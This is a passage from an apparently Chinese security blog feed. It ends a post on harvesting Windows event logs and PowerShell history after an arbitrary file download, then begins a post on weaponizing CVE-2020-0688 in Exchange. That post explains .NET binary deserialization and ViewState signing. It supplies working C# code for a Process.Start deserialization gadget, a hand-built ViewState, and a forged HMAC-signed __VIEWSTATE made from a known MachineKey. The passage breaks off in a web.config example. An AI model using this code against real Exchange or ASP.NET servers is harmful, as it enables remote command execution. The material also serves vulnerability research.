Microsoft-Windows-LanguagePackSetup%4Operational.evtx
Microsoft-Windows-MCT%4Operational.evtx
Microsoft-Windows-MemoryDiagnostics-Results%4Debug.evtx
Microsoft-Windows-MUI%4Admin.evtx
Microsoft-Windows-MUI%4Operational.evtx
Microsoft-Windows-NCSI%4Operational.evtx
Microsoft-Windows-NetworkAccessProtection%4Operational.evtx
Microsoft-Windows-NetworkAccessProtection%4WHC.evtx
Microsoft-Windows-NetworkLocationWizard%4Operational.evtx
Microsoft-Windows-NetworkProfile%4Operational.evtx
Microsoft-Windows-NlaSvc%4Operational.evtx
Microsoft-Windows-NTLM%4Operational.evtx
Microsoft-Windows-OfflineFiles%4Operational.evtx
Microsoft-Windows-ParentalControls%4Operational.evtx
Microsoft-Windows-PeopleNearMe%4Operational.evtx
Microsoft-Windows-PowerShell%4Operational.evtx
Microsoft-Windows-PrintService%4Admin.evtx
Microsoft-Windows-ReadyBoost%4Operational.evtx
Microsoft-Windows-ReadyBoostDriver%4Operational.evtx
Microsoft-Windows-Recovery%4Operational.evtx
Microsoft-Windows-ReliabilityAnalysisComponent%4Operational.evtx
Microsoft-Windows-RemoteApp&amp;nbsp;and&amp;nbsp;Desktop&amp;nbsp;Connections%4Admin.evtx
Microsoft-Windows-RemoteApp&amp;nbsp;and&amp;nbsp;Desktop&amp;nbsp;Connections%4Operational.evtx
Microsoft-Windows-RemoteAssistance%4Admin.evtx
Microsoft-Windows-RemoteAssistance%4Operational.evtx
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Admin.evtx
Microsoft-Windows-RemoteDesktopServices-RdpCoreTS%4Operational.evtx
microsoft-windows-RemoteDesktopServices-RemoteDesktopSessionManager%4Admin.evtx
Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx
Microsoft-Windows-Resource-Exhaustion-Resolver%4Operational.evtx
Microsoft-Windows-Resource-Leak-Diagnostic%4Operational.evtx
Microsoft-Windows-RestartManager%4Operational.evtx
Microsoft-Windows-Security-Audit-Configuration-Client%4Operational.evtx
Microsoft-Windows-SMBServer%4Audit.evtx
Microsoft-Windows-SMBServer%4Operational.evtx
Microsoft-Windows-TerminalServices-ClientUSBDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-ClientUSBDevices%4Operational.evtx
Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx
Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
Microsoft-Windows-TerminalServices-PnPDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-PnPDevices%4Operational.evtx
Microsoft-Windows-TerminalServices-RDPClient%4Operational.evtx
Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx
Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx
Microsoft-Windows-TerminalServices-ServerUSBDevices%4Admin.evtx
Microsoft-Windows-TerminalServices-ServerUSBDevices%4Operational.evtx
Microsoft-Windows-TZUtil%4Operational.evtx
Microsoft-Windows-UAC%4Operational.evtx
Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx
Microsoft-Windows-User&amp;nbsp;Profile&amp;nbsp;Service%4Operational.evtx
Microsoft-Windows-VDRVROOT%4Operational.evtx
Microsoft-Windows-VHDMP%4Operational.evtx
Microsoft-Windows-WebDeploy%4ConnectionInfo.evtx
Microsoft-Windows-WebDeploy%4Error.evtx
Microsoft-Windows-WER-Diag%4Operational.evtx
Microsoft-Windows-WFP%4Operational.evtx
Microsoft-Windows-Windows&amp;nbsp;Defender%4Operational.evtx
Microsoft-Windows-Windows&amp;nbsp;Defender%4WHC.evtx
Microsoft-Windows-Windows&amp;nbsp;Firewall&amp;nbsp;With&amp;nbsp;Advanced&amp;nbsp;Security%4ConnectionSecurity.evtx
Microsoft-Windows-Windows&amp;nbsp;Firewall&amp;nbsp;With&amp;nbsp;Advanced&amp;nbsp;Security%4Firewall.evtx
Microsoft-Windows-WindowsBackup%4ActionCenter.evtx
Microsoft-Windows-WindowsSystemAssessmentTool%4Operational.evtx
Microsoft-Windows-WindowsUpdateClient%4Operational.evtx
Microsoft-Windows-Winlogon%4Operational.evtx
Microsoft-Windows-WinRM%4Operational.evtx
Microsoft-Windows-Winsock-WS2HELP%4Operational.evtx
Microsoft-Windows-Wired-AutoConfig%4Operational.evtx
Microsoft-Windows-WLAN-AutoConfig%4Operational.evtx
Microsoft-Windows-WPD-ClassInstaller%4Operational.evtx
Microsoft-Windows-WPD-CompositeClassDriver%4Operational.evtx
Microsoft-Windows-WPD-MTPClassDriver%4Operational.evtx
OAlerts.evtx
PreEmptive.evtx
Security.evtx
Setup.evtx
System.evtx
Windows&amp;nbsp;PowerShell.evtx&lt;/pre&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;（注意安装某些服务后可能会有更多日志，需要自行收集。）&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;之后直接用事件查看器打开即可：&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520630254369.png&quot; style=&quot;&quot; title=&quot;7.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;后续操作就各显神通了，例如Application里面的错误信息包含异常退出程序的全路径；Powershell日志包含执行的命令行；Security日志包含登陆信息；System日志可能包含某些杀软的信息等等。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x03 PowerShell命令历史记录&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;类似.bash_history，高版本Powershell会将历史记录保存在%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt中，里面可能包含一些敏感信息：&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595520631489052.jpg&quot; style=&quot;&quot; title=&quot;8.jpg&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;(图来自google)&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;美中不足的是需要爆破用户名，所以需要结合某些手段获取一些用户名--例如ETW日志中的登录信息，或是WSearch服务数据库中的信息等等。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;0x04 小结&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;成年人了，放个论文式结尾总结没有意义，谈一谈过程中的体会。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;技术是有连贯性的，不仅仅局限在某个操作系统领域，某些看似毫不相关的领域可能会碰撞出奇妙的交集。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;例如WSearch服务获取信息的思路实际上就是文件取证；ETW思路的后续则更类似安服应急溯源，可能有不少自动化工具可用；PowerShell历史记录则可以和linux信息搜集形成类比。这些知识点综合起来，会让人有种莫名的爽快感。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;再次回到本文主题，或许可以顺着这种思路问一下取证的朋友与安服的朋友，看看有没有什么其他可行的方案。找到领域咨询专业人员实际上是比自己研究靠谱得多的，虽然最终结果还是做渗透的事。&lt;/p&gt;&lt;p style=&quot;text-align: left; text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 16px; text-indent: 2em;&quot;&gt;全文PDF：&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;img style=&quot;vertical-align: middle; margin-right: 2px;&quot; src=&quot;http://www.zcgonvh.com/zb_users/plugin/UEditor/dialogs/attachment/fileTypeImages/icon_pdf.gif&quot;/&gt;&lt;a style=&quot;font-size:12px; color:#0066cc;&quot; href=&quot;http://www.zcgonvh.com/zb_users/upload/2020/07/202007241595521202743544.pdf&quot; title=&quot;Windows任意文件下载的三个Tips.pdf&quot;&gt;Windows任意文件下载的三个Tips.pdf&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 24 Jul 2020 00:21:37 +0800</pubDate></item><item><title>CVE-2020-0688的武器化与.net反序列化漏洞那些事</title><link>http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html</link><description>&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x00 前言&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;TL;DR&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞，该漏洞存在于Exchange Control Panel(ecp)中，不涉及Exchange的工作逻辑，其本质上是一个web漏洞。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;鉴于国内对.net安全的讨论少之又少，对此借助这篇文章分析一下漏洞详细原理以及利用中的一些细节部分，一方面证明其实际危害性；另一方面抛砖引玉，希望能集思广益，挖掘更好的利用方式。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;全文测试环境为Exchange 2013+Server 2012R2/Exchange 2016+Server 2016。由于ecp的一些限制以及低版本.net反序列化利用的复杂性，暂时不讨论更低版本。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;完整阅读本文至少需要一小时的时间。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x10 背景知识：反序列化、ViewState与MachineKey&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x11 反序列化&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;.net Framework(下称fx)原生支持多种序列化/反序列化方式，一些较为古老的系统和组件会使用binary和soap，而现在基本被xml和json所替代。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在binary序列化中有五个非常重要的类型：Serializable特性、ISerializable接口、MarshalByRefObject抽象类、IDeserializationCallback和IObjectReference接口。Serializable特性标记类可以进行基于值的序列化，MarshalByRefObject标记类可以进行基于引用的序列化，ISerializable接口决定序列化行为，IDeserializationCallback在反序列化过程中还原对象状态，IObjectReference实现工厂模式反序列化。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在序列化过程中由SerializationInfo保存序列化数据，可以粗略的将其理解为一个以字符串为键，以.net基元类型为值，以字符串形式的程序集名称和类型名进行包装的多层嵌套字典，形象一点的近似类比是注册表。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;单纯标记Serializable特性的类会以字段名作为键，以字段值作为值，以字段值的实际类型作为类型名进行保存，等同于java中的Serializable接口的默认行为；实现ISerializable接口的类由GetObjectData方法控制SerializationInfo中的数据和类型，类似于java中定义在类型本身的writeObject和readObject或实现Externalizable接口的类；继承自MarshalByRefObject的类会写入一个ObjRef表示远程引用。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在反序列化过程中，首先会尝试调用具有(SerializationInfo,StreamingContext)签名的构造函数进行初始化，之后检测是否实现IObjectReference，如果实现则调用GetRealObject获取真实对象，否则返回对象本身。和java检测serialVersionUID不同，类型版本由SerializationInfo中保存的AssemblyName决定，其规则遵循clr默认程序集发现和加载策略，可认为是透明的。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;fx的程序集中存在两个极为重要的工厂类：[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微软的本意，只有标记了SerializableAttribute、实现ISerializable、继承自MarshalByRefObject的类才能进行序列化/反序列化。序列化操作的实现是完全没有问题的，而在反序列化操作中并没有要求返回类型满足上述约束（当然，这是特性而不是漏洞）。借助DelegateSerializationHolder，我们可以反序列化任何委托（无论方法、属性，也不分静态或实例）；而借助ObjectSerializedRef可实现任意类反序列化。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;众所周知，委托实质上代表一个可以直接执行的.net方法。如果为序列化数据提供一个恶意委托（例如Process.Start(string)），那么在委托被调用时将实现代码执行。而实际上，在序列化时控制一个对象的某个方法的调用时机是比较麻烦的，所以借助IObjectReference::GetRealObject等在反序列化时会进行调用的方法是更好的选择。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;基于以上结论，可以得到下面的测试代码，此代码中的Test类在进行反序列化时将导致命令执行：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;//build&amp;nbsp;and&amp;nbsp;run:&amp;nbsp;c:\windows\microsoft.net\framework\v4.0.30319\csc&amp;nbsp;test.cs&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;test
using&amp;nbsp;System;
using&amp;nbsp;System.Diagnostics;
using&amp;nbsp;System.Security.Cryptography;
using&amp;nbsp;System.IO;
using&amp;nbsp;System.Web;
using&amp;nbsp;System.Runtime.Serialization;
using&amp;nbsp;System.Runtime.Serialization.Formatters.Binary;

[Serializable]
class&amp;nbsp;Test&amp;nbsp;:&amp;nbsp;IObjectReference
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Func&amp;lt;string,&amp;nbsp;object&amp;gt;&amp;nbsp;_dele;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;string&amp;nbsp;_parm;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public&amp;nbsp;Test(Func&amp;lt;string,&amp;nbsp;object&amp;gt;&amp;nbsp;dele,&amp;nbsp;string&amp;nbsp;parm)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_dele&amp;nbsp;=&amp;nbsp;dele;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_parm&amp;nbsp;=&amp;nbsp;parm;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;public&amp;nbsp;Object&amp;nbsp;GetRealObject(StreamingContext&amp;nbsp;c)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;_dele(_parm);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}

class&amp;nbsp;a
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;void&amp;nbsp;Main(string[]&amp;nbsp;args)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Test&amp;nbsp;t&amp;nbsp;=&amp;nbsp;new&amp;nbsp;Test(new&amp;nbsp;Func&amp;lt;string,&amp;nbsp;object&amp;gt;(Process.Start),&amp;nbsp;&amp;quot;notepad&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;byte[]&amp;nbsp;data&amp;nbsp;=&amp;nbsp;Serialize(t);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(Deserialize(data));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;object&amp;nbsp;Deserialize(byte[]&amp;nbsp;b)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;using&amp;nbsp;(MemoryStream&amp;nbsp;mem&amp;nbsp;=&amp;nbsp;new&amp;nbsp;MemoryStream(b))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mem.Position&amp;nbsp;=&amp;nbsp;0;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BinaryFormatter&amp;nbsp;bf&amp;nbsp;=&amp;nbsp;new&amp;nbsp;BinaryFormatter();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;bf.Deserialize(mem);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;static&amp;nbsp;byte[]&amp;nbsp;Serialize(object&amp;nbsp;obj)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;using&amp;nbsp;(MemoryStream&amp;nbsp;mem&amp;nbsp;=&amp;nbsp;new&amp;nbsp;MemoryStream())
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;BinaryFormatter&amp;nbsp;bf&amp;nbsp;=&amp;nbsp;new&amp;nbsp;BinaryFormatter();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bf.Serialize(mem,&amp;nbsp;obj);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;mem.ToArray();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们只需要找到和上面代码相类似，且在fx或目标环境进行提供的类即可在真实环境中使用。限于篇幅，更细节的信息请参考ysoserial.net的TypeConfuseDelegateGenerator，其调用堆栈大致为：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;System.Diagnostics.Process.Start
System.Collections.Generic.ComparisonComparer&amp;lt;string&amp;gt;._comparison.Invoke
System.Collections.Generic.ComparisonComparer&amp;lt;string&amp;gt;::Compare
System.Collections.Generic.SortedSet&amp;lt;string&amp;gt;::OnDeserialization
(after&amp;nbsp;System.Collections.Generic.SortedSet&amp;lt;string&amp;gt;::.ctor(SerializationInfo,StreamingContext))&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x12 ViewState&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;ViewState是asp.net的一个特性，由[System.Web]System.Web.UI.Page类进行实现，其目的是为服务端控件状态进行持久化。从开发的角度看，所谓“控件状态”实际上就是服务端控件的属性或字段。fx在实现时采用了类似于ISerializable::GetObjectData的行为，由控件本身决定如何进行保存。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;具体的序列化流程由[System.Web]System.Web.UI.ObjectStateFormatter进行处理。其返回结果以FF01作为magic，后续数据是近似于Type-Value的格式。由于控件本身可能需要保存较为复杂的类型，ObjectStateFormatter通过二进制序列化方式对这种情况进行支持，其TypeCode为0x32，Value为带有7bit-encoded长度前缀的二进制序列化数据。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以可以使用以下代码手动生成一个合法的ViewState：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;static&amp;nbsp;byte[]&amp;nbsp;GetViewState()
{
&amp;nbsp;&amp;nbsp;Test&amp;nbsp;t&amp;nbsp;=&amp;nbsp;new&amp;nbsp;Test(new&amp;nbsp;Func&amp;lt;string,&amp;nbsp;object&amp;gt;(Process.Start),&amp;nbsp;&amp;quot;notepad&amp;quot;);
&amp;nbsp;&amp;nbsp;byte[]&amp;nbsp;data&amp;nbsp;=&amp;nbsp;Serialize(t);
&amp;nbsp;&amp;nbsp;MemoryStream&amp;nbsp;ms&amp;nbsp;=&amp;nbsp;new&amp;nbsp;MemoryStream();
&amp;nbsp;&amp;nbsp;ms.WriteByte(0xff);
&amp;nbsp;&amp;nbsp;ms.WriteByte(0x01);
&amp;nbsp;&amp;nbsp;ms.WriteByte(0x32);
&amp;nbsp;&amp;nbsp;uint&amp;nbsp;num&amp;nbsp;=&amp;nbsp;(uint)data.Length;
&amp;nbsp;&amp;nbsp;while&amp;nbsp;(num&amp;nbsp;&amp;gt;=&amp;nbsp;0x80)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ms.WriteByte((byte)(num&amp;nbsp;|&amp;nbsp;0x80));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;num&amp;nbsp;=&amp;nbsp;num&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;0x7;
&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;ms.WriteByte((byte)num);
&amp;nbsp;&amp;nbsp;ms.Write(data,&amp;nbsp;0,&amp;nbsp;data.Length);
&amp;nbsp;&amp;nbsp;return&amp;nbsp;ms.ToArray();
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在asp.net环境中，每一个aspx文件都会（在发布期间或初始化期间）被编译为一个继承Page类的对象。访问对应的页面时由[System.Web]System.Web.UI.PageHandlerFactory进行查找并创建实例，之后调用ProcessRequest方法处理当前的HttpContext。在随后的ProcessRequestMain方法中，将判断是否处于PostBack状态，如果是则获取Form或QueryString中的__VIEWSTATE，并在LoadAllState方法中进行反序列化。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;上述过程的调用堆栈大致为：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;System.Web.UI.ObjectStateFormatter.Deserialize
System.Web.UI.Page.LoadAllState
(if&amp;nbsp;IsPostBack)
System.Web.UI.Page.ProcessRequestMain
System.Web.UI.Page.ProcessRequest&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;进入PostBack模式有两个条件：页面不是通过Server.Transfer进行重定向的，__VIEWSTATE等隐藏表单存在。默认直接访问页面即可满足上述条件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x13 ViewState验证、MacKeyModifier与MachineKey&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;由于ViewState完全由客户端传入，为了防止篡改，ObjectStateFormatter会使用MachineKey对信息进行加密或签名。在默认情况下，MachineKey由fx随机生成，长度为0x400；反序列化的数据不会进行加密，但会进行HMACSha256签名，计算出的签名将附加在数据最后。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;高版本的fx添加了MacKeyModifier作为Salt，由ClientId和ViewStateUserKey两部分拼接而成。在默认情况下，ViewStateUserKey为空；ClientId的算法为当前页面虚拟目录路径与当前页面类型名称的HashCode之和，同时会以十六进制形式存放于名为__VIEWSTATEGENERATOR的隐藏表单中返回。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;而即使ClientId不返回实际上也几乎没有影响：在不存在反向代理的情况下，最坏的黑盒情况依然可通过url逐级爆破获得当前页面虚拟路径；当前页面的类型名称则是固定的将请求路径中的句点(.)以及斜杠(/)替换为下划线(_)，例如/a/b/c.aspx最终的类型名为a_b_c_aspx。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;无论加密还是解密时，ObjectStateFormatter都会根据对应的Page重新计算MacKeyModifier，客户端请求所发送的__VIEWSTATEGENERATOR不参与反序列化。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;综上，在已知key的情况下，可以使用以下代码直接算出hash，以及最终的ViewState：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;byte[]&amp;nbsp;data=GetViewState();
byte[]&amp;nbsp;key=new&amp;nbsp;byte[]{0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf,0,1,2,3,4,5,6,7,8,9,0xa,0xb,0xc,0xd,0xe,0xf};
int&amp;nbsp;hashcode&amp;nbsp;=&amp;nbsp;StringComparer.InvariantCultureIgnoreCase.GetHashCode(&amp;quot;/&amp;quot;);
uint&amp;nbsp;_clientstateid=(uint)(hashcode+StringComparer.InvariantCultureIgnoreCase.GetHashCode(&amp;quot;index_aspx&amp;quot;));
byte[]&amp;nbsp;_mackey&amp;nbsp;=&amp;nbsp;new&amp;nbsp;byte[4];
_mackey[0]&amp;nbsp;=&amp;nbsp;(byte)_clientstateid;
_mackey[1]&amp;nbsp;=&amp;nbsp;(byte)(_clientstateid&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;8);
_mackey[2]&amp;nbsp;=&amp;nbsp;(byte)(_clientstateid&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;16);
_mackey[3]&amp;nbsp;=&amp;nbsp;(byte)(_clientstateid&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;24);
MemoryStream&amp;nbsp;ms&amp;nbsp;=&amp;nbsp;new&amp;nbsp;MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[]&amp;nbsp;hash=(new&amp;nbsp;HMACSHA256(key)).ComputeHash(ms.ToArray());
ms=new&amp;nbsp;MemoryStream();
ms.Write(data,0,data.Length);
ms.Write(hash,0,hash.Length);
Console.WriteLine(&amp;quot;__VIEWSTATE={0}&amp;amp;__VIEWSTATEGENERATOR={1}&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())),
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_clientstateid.ToString(&amp;quot;X2&amp;quot;));&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译上述代码，执行，复制输出。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;在IIS的默认站点进行下列操作：确保应用程序池为.net 4.0，新建一个空白的default.aspx，将刚刚编译的exe复制到bin目录下，在web.config中添加MachineKey（如下）。&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;?xml&amp;nbsp;version=&amp;quot;1.0&amp;quot;&amp;nbsp;encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;
&amp;lt;configuration&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;system.web&amp;gt;
